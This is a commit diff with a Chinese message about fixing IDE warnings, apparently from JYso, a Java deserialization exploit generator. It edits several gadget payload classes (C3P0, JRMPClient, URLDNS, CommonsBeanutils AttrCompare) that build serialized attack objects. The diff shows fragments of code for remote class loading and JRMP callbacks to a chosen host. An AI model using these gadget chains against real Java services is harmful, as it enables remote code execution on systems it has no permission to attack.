fix：修复大量IDEA给出的告警，提高代码健壮性

src/main/java/com/qi4l/JYso/gadgets/C3P092.java

@@ -44,7 +44,9 @@ public class C3P092 implements ObjectPayload<Object> {
         ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
 
         // mock method name until armed
-        final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
+        final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
+                new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
+        );
 
         Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
         Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));

src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java

@@ -59,7 +59,7 @@ public class JRMPClient implements ObjectPayload<Object> {
         TCPEndpoint te = new TCPEndpoint(host, port);
         UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
         RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
-        return (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
+        return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
                 Registry.class
         }, obj);
     }

src/main/java/com/qi4l/JYso/gadgets/URLDNS.java

@@ -11,7 +11,7 @@ import java.util.List;
 
 /**
  * A blog post with more details about this gadget chain is at the url below:
- * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
+ * <a href="https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/">...</a>
  * <p>
  * This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
  * posting describing how he modified the Java Commons Collections gadget

src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java

@@ -43,7 +43,9 @@ public class cb_AttrCompare183 implements ObjectPayload<Object> {
         } catch (NotFoundException ignored) {
         }
         ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
-        final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
+        final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(
+                new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
+        ).newInstance();
         ctBeanComparator.defrost();
         return beanComparator;
     }